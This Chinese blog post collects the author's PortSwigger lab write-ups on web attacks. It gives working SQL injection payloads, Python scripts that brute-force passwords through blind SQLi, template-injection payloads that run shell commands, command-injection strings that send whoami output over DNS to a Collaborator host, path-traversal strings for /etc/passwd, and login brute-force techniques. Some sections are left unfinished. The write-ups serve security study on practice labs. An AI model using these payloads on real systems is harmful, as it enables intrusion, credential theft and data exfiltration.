之前将PortSwigger的每个Writeup都作为单独的文章,导致博客被这个刷屏😩
现在将这些Writeup做个汇总,包含这几个部分📚:
SQLI
XSS
SSTI
命令注入
目录遍历
CORS
Authentication
越权
本文所谈及技术只为网络安全人员进行服务器检测或维护参考,仅供学习交流,请勿用于违法用途。
SQLI
想到之前sql注入一直都只是用sqlmap一把梭,🥬🐶手注完全不会(😭别骂了,再骂人都要傻了),所以想打个burp官方的靶场先😋,记录一下📝。
(多图,注意流量,有些图片可能加载不成功)
SQL 注入 (SQLi) 是一种网络安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而导致应用程序的内容或行为发生持续变化。在某些情况下,攻击者可以升级 SQL 注入攻击以破坏底层服务器或其他后端基础架构,或执行拒绝服务攻击。
WHERE子句中的SQL注入漏洞允许检索隐藏数据
草🌿,做完了还不能再次访问靶场复现的,会被直接重定向到 https://portswigger.net ,直接丢个payload吧
补充:这里我们了解一下如何使用注释来截断🚫查询并删除原始查询中您输入之后的部分
数据库 语句 甲骨文 –comment 微软 –comment
/*comment*/PostgreSQL –comment
/*comment*/MySQL #comment
-- comment [注意双破折号后的空格]
/*comment*/
payload:
/filter?category=Gifts' or 1=1--
允许绕过登录的SQL注入漏洞
用户进行用户名和密码验证时,网站需要查询数据库。查询数据库就是执行类似于这样的SQL语句
SELECT * FROM admin WHERE Username= 'username' AND Password= 'password'
,由于网站后台在进行数据库查询的时候没有对单引号进行过滤,当输入用户名和万能密码' or 1='1
(也可以使用上一题的' or 1=1--
)时,执行的SQL语句为SELECT * FROM admin WHERE Username= 'username' or 1='1' AND Password= 'password' or 1='1'
,我们可以发现这个逻辑运算结果恒为TRUE。SQL语句的查询结果为TRUE,就意味着认证成功,也可以登录到系统中。
点击打开My account,进入登录界面
尝试使用万能密码' or 1='1
登录
成功登录到administrator
payload:
admin' or 1='1
UNION攻击查询返回的列数
执行SQL注入UNION攻击时,有两种有效的方法来确定从原始查询返回多少列。
第一种方法涉及注入一系列ORDER BY子句,并递增指定的列索引,直到发生错误❌为止。
' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3--
这一系列有效负载修改了原始查询,以按照结果集中的不同列对结果进行排序。order by子句中的列可以通过其索引指定,因此您不需要知道任何列的名称。当指定的列索引超过结果集中实际列的数量时,数据库返回一个错误,例如:
The ORDER BY position number 3 is out of range of the number of items in the select list.
应用程序可能在其HTTP响应中实际返回数据库错误,或者它可能返回一个通用错误,或者只是不返回任何结果。如果您可以检测到应用程序响应中的一些差异,您就可以推断出查询返回了多少列。
例如:假设注入点是原始查询的WHERE子句中带引号的字符串,则可以提交order by 1语句的意思是根据第一个字段排序,比如我的USER表有四个字段:
username nickname password identity sake sake f4k3P@Ssw0rd admin visitor visitor 123456 visitor
order by 1
效果等同于order by username
,而如果order by 5
就会报错,因为超过了最大列数4。第二种方法涉及提交一系列UNION SELECT有效负载,指定不同数量的空值:
' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
如果null的数目与列的数目不匹配,则数据库返回一个错误,例如:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
使用UNION,INTERSECT或EXCEPT运算符组合的所有查询在其目标列表中必须具有相等数量的表达式。同样,应用程序实际上可能返回此错误消息,或者可能仅返回一般错误或没有结果。当空数与列数匹配时,数据库将在结果集中返回另一行,其中每一列均包含空值。对产生的HTTP响应的影响取决于应用程序的代码。
需要注意的是:
- 使用NULL作为UNION SELECT注入查询返回值的原因是每列中的数据类型必须在原始查询和注入查询之间兼容。由于NULL可以转换为每种常用的数据类型,因此使用NULL可以最大限度地提高在列计数正确时成功的机会。
- 用来注释的 双破折号-- 可以注释掉注入点之后的原始查询的其余部分。但在MySQL上,双破折号序列后面必须跟一个空格,或者直接使用 井号# 来进行注释。
使用第二种方法,当指定一个和两个空值时报错
当指定三个空值时没有报错,成功解决Lab
payload:
/filter?category=Gifts' UNION SELECT NULL,NULL,NULL--
UNION攻击查找包含文本的列
任务是让数据库检索并取回字符串
'kTe3Gu'
,类似于上题,我们使用UNION SELECT提交有效负载,再指定某一字段为'kTe3Gu'
。
先使用上一题的方法判断列数,这里略去,经判断为列数为3。然后先指定第一个字段为'kTe3Gu'
,显示报错
尝试指定第二个字段为'kTe3Gu'
,没有报错,成功解决Lab
payload:
/filter?category=Pets' UNION SELECT NULL,'kTe3Gu',NULL--
UNION攻击从其他表中检索数据
任务:该数据库包含一个不同的表,称为
users
, 列称为username
和password
。通过UNION攻击,检索所有用户名和密码,并使用该信息以administrator
用户。
先用上上题的方法判断列数,这里略去,经检验列数为2。然后用上一题的方法查找包含文本的列,经检验两列都包含文本。然后使用'UNION SELECT username,password FROM users--
从users
里检索所有username
和password
,我们可以看到administrator
的用户名和密码都被返还了
我们尝试使用administrator
的账号登录,成功以管理员身份登录
payload:
/filter?category=Gifts'UNION SELECT username,password FROM users--
UNION 攻击在单个列中检索多个值
任务是将同一列的
username
和password
一起输出,确定administrator
对应的密码是什么。我们首先要了解一下SQL字符串连接的方法:
数据库 语句 甲骨文 ‘foo’||‘bar’ 微软 ‘foo’+‘bar’ PostgreSQL ‘foo’||‘bar’ MySQL ‘foo’ ‘bar’[注意两个字符串之间的空格]
CONCAT(‘foo’,‘bar’)所以我们想到可以用这些语句来将
username
和password
连接
还是老规矩判断列数,列数为2。然后查找包含文本的列,第二列包含文本。然后使用'UNION SELECT NULL,username||password FROM users--
从users
里检索第二列的username
和password
,我们可以看到administrator的用户名和密码都被返还了,但是两个字符串黏在一起了
我们在中间添加一段字符串来区分username
和password
尝试登录administrator,成功以管理员身份登录
payload:
/filter?category=Pets'UNION SELECT NULL,username||'^^^^^^'||password FROM users--
查询Oracle上的数据库类型和版本
任务是使数据库检索以下字符串:‘Oracle Database 11g Express Edition Release 11.2.0.2.0 -64bit Production, PL/SQL Release 11.2.0.2.0-Production, CORE-11.2.0.2.0-Production,,TNS forLinux: Version 11.2.0.2.0 - Production,NLSRTL Version 11.2.0.2.0 - Production’
我们首先要了解如何查询数据库的类型和版本:
数据库 语句 甲骨文 SELECT banner FROM v$version
SELECT version FROM v$instance微软 SELECT @@version PostgreSQL SELECT version() MySQL SELECT @@version
前两步同上述Lab,然后利用查询数据库类型和版本的语句进行版本查询,成功解决Lab
payload:
/filter?category=Lifestyle' UNION SELECT BANNER,NULL FROM v$version--
查询MySQL和微软上的数据库类型和版本
这个Lab和上面那题基本一样的做法,唯一要注意的是,不同数据库之间注释的方法不同。
payload:
/filter?category=Gifts'UNION SELECT @@version,NULL-- comment
列出非 Oracle 数据库上的数据库内容
这里我们了解一下如何查询不同数据库的数据库内容(您可以列出数据库中存在的表,以及这些表包含的列):
数据库 语句 甲骨文 SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = ‘TABLE-NAME-HERE’微软 SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’PostgreSQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’MySQL SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = ‘TABLE-NAME-HERE’
前两步同上述Lab,这里我们使用'UNION SELECT table_name,NULL FROM information_schema.tables-- qq
来查询表名,返还了很多表,往下翻找到users的表
再使用'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users_etflvr'-- qq
查询列名,查看这个表包含的列,看到关键的username和password相关的列
然后使用'UNION SELECT username_wpfvrw,password_lqkvfp FROM users_etflvr-- qq
来查询username列和password列的字段内容,发现administrator的用户名和密码
登录administrator成功解决Lab
payload:
/filter?category=Pets'UNION SELECT table_name,NULL FROM information_schema.tables-- qq
/filter?category=Pets'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name = 'users_etflvr'-- qq
/filter?category=Pets'UNION SELECT username_wpfvrw,password_lqkvfp FROM users_etflvr-- qq
列出Oracle上的数据库内容
这个Lab和上面那题基本一样的做法,这里省去一些步骤
查询到users表
查询到username列和password列
查询username和password的字段内容
以administrator登录,成功解决Lab
payload:
/filter?category=Gifts'UNION SELECT table_name,NULL FROM all_tables--
/filter?category=Gifts'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name = 'USERS_REILEX'--
/filter?category=Gifts'UNION SELECT USERNAME_IOYYXQ,PASSWORD_LFYLDI FROM USERS_REILEX--
带有条件响应的SQL盲注
刚开始以为像上面Lab一样是GET提交,试了几次发现不对劲(
草,怎么100也不报错❓),瞄了一眼官方的题解,原来注入点在cookie💫
在hackbar上操作不是很方便,决定改用burp,直接试着在cookie接个'and'1'='1
然后发包,接着再试着'and'1'='2
,注意到两者的返回包的长度不同
直接将两个包发到burp的comparer进行比较,发现逻辑运算结果为true的多返还了Welcome back!
这里我们使用' AND (SELECT 'a' FROM users LIMIT 1)='a
这条语句来确认存不存在users这个表,返回为真
我们再用' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
这条语句来判断administrator这个用户的密码长度是否大于1,返回为真
通过一系列手注判断出来,administrator的密码长度为20位(😨傻眼??)
接下来就是逐字符爆破密码了,使用' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
语句来判断第一个字符是不是a,接着我们构建类似的语句来逐字符判断,这里可以使用Intruder,不过我更喜欢用python,这里直接给出一个我写的脚本(单线程非常非常慢,试着写了下多线程,🥬码力不精轻喷🥺)
import requests
import threading
import time
import re
def get_pass(i, char):
url = 'https://0af2001e046c8c13c012318000590007.web-security-academy.net/filter?category=Pets'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0'}
cookies = {
"TrackingId": f"wIqZZ59H8RfHNV9L' AND (SELECT SUBSTRING(password,{i},1) FROM users WHERE username='administrator')='{char}"}
res = requests.get(url=url, headers=headers, cookies=cookies)
regex = re.findall(r"Welcome back!",res.text)
if len(regex):
passlist[i-1] = char
password = ''.join(passlist)
print(f'The password is {password}')
if __name__ == '__main__':
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
length = 20
passlist = ['']*length
start = time.perf_counter()
for i in range(1, length+1):
thread_list = []
for char in chars:
thread = threading.Thread(target=get_pass, args=[i, char])
thread.start()
thread_list.append(thread)
for t in thread_list:
t.join(1)
finish = time.perf_counter()
print(f"It takes {round(finish - start,2)} s")
获得密码,我们尝试登录administrator,成功解决Lab
带有条件错误的SQL盲注
首先我们先了解一下如何测试单个布尔条件并在条件为真时触发数据库错误:
数据库 语句 甲骨文 SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual 微软 SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END PostgreSQL 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN CAST(1/0 AS INTEGER) ELSE NULL END) MySQL SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),‘a’) 分析一下表达式:
如果CONDITION为真,则执行to_char(1/0)或者是1/0,因为出现了除0的错误,所以返回报错Internal Server Error;反之,CONDITION为假时,执行NULL返回NULL不报错,页面正常显示内容。
看了眼hint得知Lab使用的是Oracle数据库,直接把上一题的脚本改改就能用,把正则匹配的内容改为Internal Server Error,或者是判断response的状态码。
这里我们构造先一个子查询'|| (SELECT CASE WHEN (length(password)>1) THEN TO_CHAR(1/0) ELSE NULL END FROM users where username='administrator')||'
来判断密码长度,以此类推最终判断出来密码长度是20
有了上一Lab的经验,我们直接上脚本,爆破一下密码
import requests
import threading
import time
import re
def get_pass(i, char):
url = 'https://0a580032035afa26c09136e300d100e0.web-security-academy.net/filter?category=Pets'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0'}
cookies = {
"TrackingId": f"wIqZZ59H8RfHNV9L'||(select case when substr(password,{i},1)='{char}' then to_char(1/0) else NULL end from users where username='administrator')||'"}
res = requests.get(url=url, headers=headers, cookies=cookies)
regex = re.findall(r"Internal Server Error",res.text)
if len(regex):
passlist[i-1] = char
password = ''.join(passlist)
print(f'The password is {password}')
if __name__ == '__main__':
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
length = 20
passlist = ['']*length
start = time.perf_counter()
for i in range(1, length+1):
thread_list = []
for char in chars:
thread = threading.Thread(target=get_pass, args=[i, char])
thread.start()
thread_list.append(thread)
for t in thread_list:
t.join(3)
finish = time.perf_counter()
print(f"It takes {round(finish - start,2)} s")
这里使用intruder也可以得到相同结果
获得密码,尝试登录administrator,成功解决Lab
带有时间延时的SQL注入
任务是造成一个十秒的延时,首先了解一下如何在处理查询时,使数据库出现时间延迟:
数据库 语句 甲骨文 dbms_pipe.receive_message((‘a’),10) 微软 WAITFOR DELAY ‘0:0:10’ PostgreSQL SELECT pg_sleep(10) MySQL SELECT SLEEP(10)
这里我们只需要在注入点插入一个延时语句即可解决lab
payload:
TrackingId=BDiRNvzhMTPO0qtL'||pg_sleep(10)--;
带有时间延迟和信息检索的SQL盲注
OOB盲注
b5hpcwzn3c60fubud2jmosu1bshk59.burpcollaborator.net
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
------------------------------
XSS
跨站点脚本(也称为 XSS)是一种网络安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者规避同源策略,该策略旨在将不同的网站彼此隔离。跨站点脚本漏洞通常允许攻击者伪装成受害用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害用户在应用程序中具有特权访问权限,则攻击者可能能够完全控制应用程序的所有功能和数据。
无编码反射型XSS
------------------------------
SSTI
服务端模板注入是指攻击者能够利用模板自身语法将恶意负载注入模板,然后在服务端执行。
模板引擎被设计成通过结合固定模板和可变数据来生成网页。当用户输入直接拼接到模板中,而不是作为数据传入时,可能会发生服务端模板注入攻击。这使得攻击者能够注入任意模板指令来操纵模板引擎,从而能够完全控制服务器。顾名思义,服务端模板注入有效负载是在服务端交付和执行的,这可能使它们比典型的客户端模板注入更危险。
服务端模板注入漏洞会使网站面临各种攻击,具体取决于所讨论的模板引擎以及应用程序如何使用它。在极少数情况下,这些漏洞不会带来真正的安全风险。然而,大多数情况下,服务端模板注入的影响可能是灾难性的。
最严重的情况是,攻击者有可能完成远程代码执行,从而完全控制后端服务器,并利用它对内部基础设施进行其他攻击。
即使在不可能完全执行远程代码的情况下,攻击者通常仍可以使用服务端模板注入作为许多其他攻击的基础,从而可能获得服务器上敏感数据和任意文件的访问权限。
当用户输入直接拼接到模板中而不是作为数据传入时,就会出现服务端模板注入漏洞。
Basic server-side template injection
靶场要求:
由于ERB模板的不安全构造,此实验室容易受到服务器端模板注入的影响。
要解决这个问题,请查看ERB文档,了解如何执行任意代码,然后从Carlos的主目录中删除morale.txt文件。
实验步骤:
随便点击一个商品详细,请求的message可控,且能回显到页面上,目标注入点就在这里
先去官方文档了解一下RUBY的ERB模板,可以看到**<%= Ruby expression – replace with result %>**表示该格式可以内嵌表达式
再查一下RUBY如何执行shell命令,使用exec和system均可,区别是:exec会替换当前进程,system返回执行结果(布尔值)
于是我们在修改message请求内容为<%= system 'ls' %>
,查看目录下文件列表
接着修改为<%= system 'rm morale.txt' %>
,删除moral.txt文件
Basic server-side template injection (code context)
靶场要求:
由于使用Tornado模板的方式不安全,该实验室容易受到服务器端模板注入的影响。要解决这个问题,请查看Tornado文档,了解如何执行任意代码,然后从Carlos的主目录中删除morale.txt文件。
您可以使用以下凭据登录到自己的帐户:wiener:peter
实验步骤:
登录用户,然后抓取提交Preferred name的数据包,发现是通过一个POST请求设置blog-post-author-display
字段的参数,取值为:user.name
,user.first_name
或user.nickname
通过阅读Tornado文档中template的用法,我们了解到模板表达式被双花括号包围: {{ python expression }}
,然后转义并且插入到输出
于是我们将blog-post-author-display=user.name
修改为blog-post-author-display=user.name}}{{7*7`,再打开随便一篇文章,在文章评论区评论,将昵称回显出来。发现页面返回了49,确实存在模板注入

接着我们利用双花括号包围的python表达式构建shell命令(详细见上文提到的[语法参考](https://tornado-zh.readthedocs.io/zh/latest/template.html#id1)),将`blog-post-author-display=user.name`改为`blog-post-author-display=user.name}}{{__import__("os").popen("ls").read()`,再次查看评论区回显

最后执行删除moral.txt文件的命令(修改为`blog-post-author-display=user.name}}{{__import__("os").popen("rm morale.txt").read()`)就成功解决了Lab

## Server-side template injection using documentation
靶场要求:
> 此实验室易受服务器端模板注入的影响。要解决这个问题,请确定模板引擎并使用文档来确定如何执行任意代码,然后从Carlos的主目录中删除morale.txt文件。
> 您可以使用以下凭据登录到自己的帐户:`content-manager:C0nt3ntM4n4g3r`
实验步骤:
登录用户,编辑模板,直接给了模板注入的一个测试页面,还支持预览

通过查阅freemarker的文档,发现有对[模板的上传安全性](http://freemarker.foofun.cn/app_faq.html#faq_template_uploading_security)进行说明,提到了**虽然new不会实例化不是TemplateModel-s的类,但FreeMarker包含一个TemplateModel类,可用于创建任意Java对象**。

查阅官方文档对[new函数](http://freemarker.foofun.cn/ref_builtins_expert.html#ref_builtin_new)的描述,我们可以通过**freemarker.template.utility**的**Execute**类来执行shell命令

`<#assign test="freemarker.template.utility.Execute"?new()>${test("ls")}`

`<#assign test="freemarker.template.utility.Execute"?new()>${test("ls")}`

## Server-side template injection in an unknown language with a documented exploit
靶场要求:
> 此实验室易受服务器端模板注入的影响。要解决实验室问题,请识别模板引擎并在线查找可用于执行任意代码的漏洞,然后从Carlos的主目录中删除morale.txt文件。
实验步骤:
随便点击一个商品详细,请求的message可控,且能回显到页面上,目标注入点就在这里,尝试提交`${{<%[%'"}}%\
fuzz测试一下,回显报错显示使用的是handlebars
在网上找到一份POC:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return JSON.stringify(process.env);"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
稍加修改,然后再urlencode之后请求一下就成功删除morale.txt
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Server-side template injection with information disclosure via user-supplied objects
靶场要求:
由于对象传递到模板中的方式,此实验室容易受到服务器端模板注入的影响。可利用此漏洞访问敏感数据。
要解决实验室问题,请窃取并提交框架的密钥。
您可以使用以下凭据登录到自己的帐户:content-manager:C0nt3ntM4n4g3r
实验步骤:
登录用户,编辑模板,直接给了模板注入的一个测试页面,还支持预览,尝试提交${{<%[%'"}}%\
fuzz测试一下,回显报错显示使用的是django
学习Django文档,调用debug内置函数:{% debug %}
,返回此模板内访问的对象和属性的列表
研究官方文档中关于settings的描述,其中含有的SECRET_KEY属性正是我们要窃取的密钥
直接用{{settings.SECRET_KEY}}
读出secret_key的值,提交密钥即可
------------------------------
命令注入
OS命令注入(也称为shell注入)是一种web安全漏洞,允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来危害托管基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。
简单案例1
目标是获得系统用户名
一些有用的命令
当您已经确定了一个操作系统存在命令注入漏洞,它通常用来执行一些初步命令,以获取有关系统的信息。在Linux和Windows:
目的命令 Linux Windows 当前用户名 whoami
whoami
操作系统 uname -a
ver
网络配置 ifconfig
ipconfig /all
网络的连接 netstat -an
netstat -an
正在运行的进程 ps -ef
tasklist
注入点在点击Check stock
所发数据包中
抓包将storeId=1
改为storeId=1|whoami
,成功获得当前用户名,解决Lab
基于时间的命令盲注
目标是产生十秒延时
注入点在点击Submit feedback
所发数据包中
抓包将email=b%40g.com
改为email=b%40g.com||ping -c 10 127.0.0.1||
,成功解决Lab
命令注入与输出重定向
重定向输出的注命令一个文件在这个文件夹,然后使用的图片加载URL检索内容的文件。
注入点在点击Submit feedback
所发数据包中
抓包将email=b%40g.com
改为email=b%40c.com||whoami>/var/www/images/a.txt||
,(其中">"是重定向符)
然后打开一张图片把filename
请求的文件改为a.txt
,成功解决Lab
命令注入与OOB
目标是向Burp Collaborator发出DNS lookup
nslookup命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。
注入点在点击Submit feedback
所发数据包中
抓包将email=dasdasd%40qweqwe.com
改为email=dasdasd%40qweqwe.com||nslookup+tolzgp9rlzgmp2ssbxhpkawd64cu0j.burpcollaborator.net||
,成功解决Lab
命令注入与带外数据泄露
目标是执行whoami命令,并通过DNS查询将输出导出到Burp Collaborator
注入点在点击Submit feedback
所发数据包中
抓包将email=b%40c.com
改为email=b%40c.com||nslookup+
`whoami`.z00sswoz16601lbdkba977578yeo2d.burpcollaborator.net||
,成功解决Lab
------------------------------
目录遍历
本文涉及Lab过于简单,篇幅较短
目录遍历(也称为文件路径遍历)是一种网络安全漏洞,允许攻击者读取运行应用程序的服务器上的任意文件。 这可能包括应用程序代码和数据、后端系统的凭据以及敏感的操作系统文件。在某些情况下,攻击者可能能够写入服务器上的任意文件,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。
简单案例1
随便打开一张图片
把请求的文件filename
改为../../../etc/passwd
简单案例2
把请求的文件filename
改为/etc/passwd
(绝对路径)
简单案例3
把请求的文件filename
改为....//....//....//etc/passwd
(双写绕过)
简单案例4
把请求的文件filename
改为..%252f..252f%..%252f..%252fetc%252fpasswd
(双url编码)
简单案例5
把请求的文件filename
改为/var/www/images/../../../etc/passwd
简单案例6
把请求的文件filename
改为../../../etc/passwd%00.png
(%00截断)
------------------------------
CORS
跨源资源共享(CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其它源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中,浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。
同源策略是一种限制性的跨域规范,它限制了网站与源域之外的资源进行交互的能力。同源策略是多年前定义的,以应对潜在的恶意跨域交互,例如一个网站从另一个网站窃取私人数据。它通常允许一个域向其他域发出请求,但不允许访问响应。
CORS vulnerability with basic origin reflection
题目要求:
该网站具有不安全的CORS配置,因为它信任所有来源。为了解决这个实验,制作一些 JavaScript,使用 CORS 来检索管理员的 API,密钥并将代码上传到您的漏洞利用服务器。当您成功提交管理员的 API 密钥时,实验室就解决了。您可以使用以下凭据登录自己的帐户: wiener:peter
抓包发现请求/accountdetail
的response
的Access-Control-Allow-Credentials
字段为True
,
------------------------------
Authentication
身份验证是验证给定用户或客户端身份的过程。换言之,这涉及到确保他们真的是他们声称的那个人。至少在一定程度上,网站暴露给任何通过设计连接到互联网的人。因此,健壮的身份验证机制是有效web安全的一个重要方面。
有三种认证因素,可将不同类型的认证分类为:
- 您知道的一些信息,例如密码或安全问题的答案。这些有时被称为“知识因素”。
- 你拥有的东西,也就是像手机或安全令牌这样的物理对象。这些有时被称为“占有因素”。
- 你正在做的事情,例如,你的生物特征或行为模式。这些有时被称为“内在因素”。
认证机制依赖于一系列技术来验证这些因素中的一个或多个。
Username enumeration via different responses
靶场要求:
这个实验室是脆弱的,以枚举的用户名和密码的暴力攻击。 它有一个帐户,一个可预测的用户名和密码,其中可以找到以下词表:
要解决的实验室,一一列举一个有效的用户名、暴力破解这个用户密码,然后访问他们的帐户的网页。
实验步骤:
进入到登录界面,尝试登录并进行抓包,可以看到显示Invalid username,告诉我们用户名是无效的
于是我们根据Lab提供的用户名和密码使用Intruder进行爆破,设置好字典开始进行爆破
然后在爆破结果处按Length排序,可以看到一个response显示的结果不同,显示的是Incorrect password,这告诉我们用户名是auto,但密码错误
于是我们以同样的方法爆破密码,在爆破结果中我们可以看到:用户名是auto,密码是monitoring
使用爆破得到的用户名和密码,成功登录解决Lab
补充分析:网站对用户名和密码错误采用了不同回显,使得可以逐个字段爆破(如果同回显的话要同时对两个字段进行爆破,payload直接是平方级数量)
2FA simple bypass
靶场要求:
这个实验室的双因素认证可以绕过。您已获得有效的用户名和密码,但无权访问用户的2FA验证码。要解决实验室问题,请访问Carlos的帐户页面。
你的证件:wiener:peter
受害者的证件:carlos:montoya
实验步骤:
登录进提供的用户名,在邮箱服务器查看二重验证码,填入框中
可以注意到填后请求了/my-account这个页面,唯一的认证是cookie而并未携带token等认证,于是我们想到可以直接登录受害者的用户名然后在二重验证处,直接以受害者的cookie请求/my-account即可直接登录成功
补充分析:二重验证码填完后请求的网站只采用cookie进行身份验证
Password reset broken logic
靶场要求:
该实验室的密码重置功能易受攻击。要解决实验室问题,请重置 Carlos 的密码,然后登录并访问他的“我的帐户”页面。
您的凭据: wiener:peter
受害者用户名: carlos
实验步骤:
抓包更改密码重置的数据包为受害者的用户名:
采用受害者的用户名和重置后的密码进行登录,成功登录受害者用户
补充分析:虽然采用了token,但并未进行实质性的验证,导致密码重置的数据包被重放
Username enumeration via subtly different responses
靶场要求:
这个实验室很容易受到用户名枚举和密码暴力攻击。它有一个具有可预测用户名和密码的帐户,可以在以下单词列表中找到:
- 候选用户名
- 候选密码
要解决实验室问题,请枚举一个有效的用户名,强制使用该用户的密码,然后访问他们的帐户页面。
实验步骤:
还是抓取登录的数据包,进行用户名爆破,通过Length排序发现数据包长短不一,我们无法进行判断
此时我们采用Grep进行匹配,设置起始字符串<p class=is-warning>,和末尾字符串</p>,匹配中间回显的内容
然后我们以这个匹配规则进行排序,发现第一个的末尾少了个点(.),于是我们将其锁定为可疑数据包
然后我们尝试以apple为用户名进行密码爆破,按Length排序锁定第一个可疑数据包
尝试以用户名apple,密码maggie登录,登录成功
补充分析:
- response的长短不一,无法通过简单的Length排序进行判断,而应该使用Grep设置起始字符串和末尾字符串来匹配结果
- 本Lab对用户名和密码错误采用了几乎相同的回显,不适用简单的逐个字段爆破
Username enumeration via response timing
靶场要求:
这个实验室很容易使用响应时间进行用户名枚举。要解决实验室问题,请枚举一个有效的用户名,强制使用该用户的密码,然后访问他们的帐户页面。
提示:
为了增加挑战,实验室还实施了一种基于IP的暴力保护。然而,这可以通过操纵HTTP请求头轻松绕过。
抓取登录的数据包,使用intruder进行用户名爆破,将密码设置为很长,以增大延时。使用pitchfork,增加XFF头用来伪造IP
然后打开response received和response completed列,可以看到用户名为affiliates时,相比其他延时较大
同上文提到的密码爆破方法对密码进行爆破,容易得出用户名为affiliates,密码为thomas
成功登录受害者用户
补充分析:
- Pitchfork类型是将payload随着请求数而遍历,也就是两个字典的输入值是一一对应的
- XFF头指的是HTTP报文最原始的IP地址,通过修改XFF可以达到伪造IP的作用
Broken brute-force protection, IP block
靶场要求:
由于密码暴力保护的逻辑缺陷,该实验室易受攻击。为了解决实验室问题,暴力破解受害者的密码,然后登录并访问他们的帐户页面。
- 你的证件:wiener:peter
- 受害者用户名:carlos
- 候选人的密码
实验步骤:
抓取登录的数据包,使用pitchfork进行爆破
由于本Lab对用户登录连续失败次数过多会锁定IP,所以我们要采用我们已知正确的用户和受害者用户交替登录的形式,制作字典
设置线程池最大请求数为1,进行密码爆破,并设置过滤掉2xx的response,再按Payload排序,容易看到用户名为carlos,密码为jennifer也登录成功了
成功登录受害者用户
Username enumeration via account lock
靶场要求:
此实验室易受用户名枚举攻击。它使用帐户锁定,但这包含一个逻辑缺陷。要解决实验室问题,请枚举一个有效的用户名,强制使用该用户的密码,然后访问他们的帐户页面。
实验步骤:
抓取登录数据包,使用Cluster bomb进行爆破,该模式下会将两个payload完全组合
第一个payloads设置为候选用户名,第二个payloads设置为Null,重复次数设为5
爆破出结果后按Length排序,看到第一条的response里有“You have made too many incorrect login attempts. Please try again in 1 minute(s).“,我们锁定这个用户名aq,随后我们等待一分钟
按上文提到的爆破密码的方法把密码爆破一遍,得出用户名aq,密码batman,成功登录受害者账户
补充分析:这个靶场如果多次请求账户并且输入密码,会导致出现账户锁定的情况。我们可以推断出只有输入正确的用户名,才会导致账户锁定,所以我们可以检索出正确的用户名进行尝试
2FA broken logic
靶场要求:
这个实验室的两要素认证是脆弱的,由于其有缺陷的逻辑。 要解决的实验室,访问carlos的帐户的网页。
- 你凭据:
wiener:peter
- 受害者的用户名:
carlos
你还有的访问的电子邮件服务器收到你的2FA验证码。
实验步骤:
抓取提交验证码的数据包,将cookie中的verify=wiener改为受害者的verify=carlos
然后对提交的验证码进行爆破(从0000到9999),可以用python生成个验证码爆破字典,也可以设置payload格式为Brute forcer,字符集设为0123456789
with open('out.txt','w') as f:
for i in range(10000):
f.write(f'{i:04}'+'\n')
经过一段很长时间的爆破,然后爆破了几遍没爆破出来(
未完成
Brute-forcing a stay-logged-in cookie
靶场要求:
